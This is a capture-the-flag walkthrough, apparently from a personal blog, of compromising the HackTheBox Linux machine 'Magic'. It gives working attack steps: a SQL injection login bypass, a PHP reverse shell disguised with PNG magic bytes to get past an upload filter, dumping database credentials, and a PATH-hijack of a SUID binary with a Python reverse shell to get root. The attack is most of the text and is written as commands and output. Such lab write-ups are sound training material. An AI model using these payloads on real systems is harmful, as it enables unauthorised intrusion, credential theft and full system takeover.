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Magic Writeup
Introduction :
Magic is a Medium Linux box released back in April 2020.
Magic is a Medium Linux box released back in April 2020.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ nmap -vvv -p- 10.10.10.185 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 22/tcp on 10.10.10.185
Discovered open port 80/tcp on 10.10.10.185
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ nmap -sCV -p22,80 10.10.10.185
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 15:26 CEST
Nmap scan report for 10.10.10.185
Host is up (0.45s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.24 seconds
Our nmap scan picked up port 80 so let's investigate it:
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~]
→ gobuster dir -u http://10.10.10.185 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.185
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/06/24 15:44:14 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.sh_history (Status: 403) [Size: 277]
/assets (Status: 301) [Size: 313] [--> http://10.10.10.185/assets/]
/images (Status: 301) [Size: 313] [--> http://10.10.10.185/images/]
/index.php (Status: 200) [Size: 4050]
/server-status (Status: 403) [Size: 277]
[ 10.10.14.11/23 ] [ /dev/pts/16 ] [~]
→ gobuster dir -u http://10.10.10.185/images/ -r -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.185/images/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2021/06/24 15:46:26 Starting gobuster in directory enumeration mode
===============================================================
/.sh_history (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/uploads (Status: 403) [Size: 277]
===============================================================
2021/06/24 15:47:11 Finished
===============================================================
So here we see that there is a directory /images/uploads/ so it's safe to assume that we will need to upload a malicious file:
Now on the first page we see there is a login php page hyperlink at the bottom left, so we're going to intercept the request with burpsuite and see what's up:
So we have the following POST request:
POST /login.php HTTP/1.1
Host: 10.10.10.185
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.10.10.185
Connection: close
Referer: http://10.10.10.185/login.php
Cookie: PHPSESSID=d08upquemehq9gte4accrged80
Upgrade-Insecure-Requests: 1
username=admin&password=admin
When we send it as it is, we get the following response:
Let's try to do a SQL injection:
#raw
username=' or 1=1#&password=admin
#url encoded (select in burp and do CTRL+U)
username='+or+1%3d1%23&password=admin
Use it in the Proxy tab in burpsuite, then click Forward. And you will be greeted by the following:
Now let's make a malicious png file to upload there. Since we know that this box has php on it we're going to make a simple php reverse shell:
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ vim rev.php
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cat rev.php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'");
?>
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ sudo apt install exiftool -y
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ wget https://blog.nowhere.moe/assets/img/user.png -O rev.png
--2021-06-24 16:15:12-- https://blog.nowhere.moe/assets/img/user.png
Resolving blog.nowhere.moe (blog.nowhere.moe)... 185.199.108.153, 185.199.109.153, 185.199.111.153, ...
Connecting to blog.nowhere.moe (blog.nowhere.moe)|185.199.108.153|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14891 (15K) [image/png]
Saving to: ‘rev.png’
rev.png 100%[=================================================================================================================================================>] 14.54K --.-KB/s in 0.02s
2021-06-24 16:15:14 (816 KB/s) - ‘rev.png’ saved [14891/14891]
Now basically we want the magic bytes of that png file (first few bytes of a png image) and then we want to concatenate the magic bytes to our php reverse shell file like so:
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c20 rev.png | xxd
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 01f4 ....
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c10 rev.png | xxd
00000000: 8950 4e47 0d0a 1a0a 0000 .PNG......
Here we grab the first few bytes until the first nullbyte, and save it to another file:
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c72 rev.png | xxd
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 01f4 0000 01f4 0806 0000 00cb d6df ................
00000020: 8a00 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a...
00000040: 0009 7048 5973 0000 ..pHYs..
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ head -c72 rev.png > png-magic-bytes.png
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ file png-magic-bytes.png
png-magic-bytes.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced
So we concatenate them together:
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cat png-magic-bytes.png rev.php
PNG
IHDߊsRGBgAMA
a pHYs<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'");
?>
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cat png-magic-bytes.png rev.php > magic.php.png
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ file magic
magic: cannot open `magic' (No such file or directory)
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ file magic.php.png
magic.php.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced
And now we have our reverse php shell with the magic bytes of a png file. So let's upload the image:
Now that the image has been uploaded, we attempt to trigger the reverse shell by browsing to it at the /images/uploads/magic.php.png path we found earlier:
And we get a reverse shell!
[ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51376
bash: cannot set terminal process group (1135): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/Magic/images/uploads$
Now let's upgrade our reverse shell to a fully interactive TTY:
www-data@ubuntu:/var/www/Magic/images/uploads$ which python python3 curl wget
which python python3 curl wget
/usr/bin/python3
/usr/bin/wget
www-data@ubuntu:/var/www/Magic/images/uploads$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/Magic/images/uploads$ ^Z
[1] + 1387803 suspended nc -lvnp 9001
[ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic]
→ stty raw -echo ; fg
[1] + 1387803 continued nc -lvnp 9001
export TERM=screen-256color
www-data@ubuntu:/var/www/Magic/images/uploads$ export SHELL=bash
www-data@ubuntu:/var/www/Magic/images/uploads$ stty rows 40 columns 225
www-data@ubuntu:/var/www/Magic/images/uploads$ reset
And now that we have a fully interactive TTY let's take a look around the web directory:
www-data@ubuntu:/var/www/Magic/images/uploads$ cd ~
www-data@ubuntu:/var/www$ ls -lash
total 16K
4.0K drwxr-xr-x 4 root root 4.0K Mar 13 2020 .
4.0K drwxr-xr-x 15 root root 4.0K Oct 15 2019 ..
4.0K drwxr-xr-x 4 www-data www-data 4.0K Mar 17 2020 Magic
4.0K drwxr-xr-x 2 root root 4.0K Dec 3 2019 html
www-data@ubuntu:/var/www$ cat Magic/db.php5
<?php
class Database
{
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
private static $cont = null;
public function __construct() {
die('Init function is not allowed');
}
public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
Now here we have potential credentials for a local database with the user theseus so let's try to dump the database contents with it:
www-data@ubuntu:/var/www$ mysqldump -u theseus Magic -p > /tmp/database.dump
Enter password: iamkingtheseus
www-data@ubuntu:/var/www$ cat /tmp/database.dump | grep admin
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
And now we have credentials for the user 'theseus' so let's try to use his credentials ::
www-data@ubuntu:/var/www$ su theseus
Password:
theseus@ubuntu:/var/www$ cd ~
theseus@ubuntu:~$ cat user.txt
58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the user flag.
Now in order to privesc to the root user we're going to need to enumerate the box using linpeas.sh:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cp /home/nothing/HTB/obscurity/linpeas.sh .
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
theseus@ubuntu:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
--2021-06-25 00:53:01-- http://10.10.14.11:9090/linpeas.sh
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/tmp/peas.sh’
/tmp/peas.sh 100%[====================================================>] 333.85K 171KB/s in 1.9s
2021-06-25 00:53:04 (171 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
theseus@ubuntu:~$ chmod +x /tmp/peas.sh
theseus@ubuntu:~$ /tmp/peas.sh
Let linpeas.sh run a bit, then scrolling through the output we see the following SUID binary:
Apparently there is an unknown SUID binary in /bin/sysinfo so let's run it to see what it does:
theseus@ubuntu:~$ /bin/sysinfo --help
====================Hardware Info====================
H/W path Device Class Description
=====================================================
system VMware Virtual Platform
/0 bus 440BX Desktop Reference Platform
/0/0 memory 86KiB BIOS
/0/1 processor AMD EPYC 7401P 24-Core Processor
/0/1/0 memory 16KiB L1 cache
/0/1/1 memory 16KiB L1 cache
/0/1/2 memory 512KiB L2 cache
/0/1/3 memory 512KiB L2 cache
/0/2 processor AMD EPYC 7401P 24-Core Processor
/0/28 memory System Memory
/0/28/0 memory 4GiB DIMM DRAM EDO
/0/28/1 memory DIMM DRAM [empty]
/0/28/2 memory DIMM DRAM [empty]
/0/28/3 memory DIMM DRAM [empty]
/0/28/4 memory DIMM DRAM [empty]
/0/28/5 memory DIMM DRAM [empty]
/0/28/6 memory DIMM DRAM [empty]
/0/28/7 memory DIMM DRAM [empty]
/0/28/8 memory DIMM DRAM [empty]
[...]
bugs : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass
bogomips : 4000.00
TLB size : 2560 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 43 bits physical, 48 bits virtual
power management:
====================MEM Usage=====================
total used free shared buff/cache available
Mem: 3.8G 562M 1.8G 3.9M 1.5G 3.0G
Swap: 947M 0B 947M
theseus@ubuntu:~$
It basically gives a bunch of infos about the system. Now before our shell breaks, let's get our ssh public key onto the box in order to access that user more easily:
theseus@ubuntu:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' > ~/.ssh/authorized_keys
[ 10.66.66.2/32 ] [ /dev/pts/29 ] [~/HTB/magic]
→ ssh theseus@10.10.10.185 -i ~/.ssh/mainpc
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
29 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2023.
theseus@ubuntu:~$
Let's monitor the processes ran by root using pspy:
[terminal 1]
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ cp /home/nothing/HTB/book/pspy64s .
[ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
theseus@ubuntu:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy
--2021-06-25 01:02:54-- http://10.10.14.11:9090/pspy64s
Connecting to 10.10.14.11:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1156536 (1.1M) [application/octet-stream]
Saving to: ‘/tmp/pspy’
/tmp/pspy 100%[=================================================================================================================================================>] 1.10M 382KB/s in 3.0s
2021-06-25 01:02:58 (382 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536]
theseus@ubuntu:~$ chmod +x /tmp/pspy
theseus@ubuntu:~$ /tmp/pspy
Now on another shell we run sysinfo on the box and observe what it does from pspy:
Now here we see that sysinfo basically executes lshw so we should be able to create our own lshw with a reverse python3 shell into it, and we would change the PATH variable to make sure our binary file takes priority over the other lshw:
theseus@ubuntu:~$ cd /tmp
theseus@ubuntu:/tmp$ mkdir nihilist
theseus@ubuntu:/tmp$ cd nihilist/
theseus@ubuntu:/tmp/nihilist$ nano lshw
theseus@ubuntu:/tmp/nihilist$ cat lshw
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
theseus@ubuntu:/tmp/nihilist$ chmod +x lshw
theseus@ubuntu:/tmp/nihilist$ PATH=$PATH:$(pwd)
theseus@ubuntu:/tmp/nihilist$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp/nihilist
Now let's run sysinfo again
[terminal 1]
theseus@ubuntu:/tmp/nihilist$ sysinfo
====================Hardware Info====================
[terminal 2]
[ 10.66.66.2/32 ] [ /dev/pts/35 ] [~/HTB/magic]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51382
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
ca cat /root/root.txt
acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get a reverse shell as the root user.
Here we can see the progress graph :
Until there is Nothing left.
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)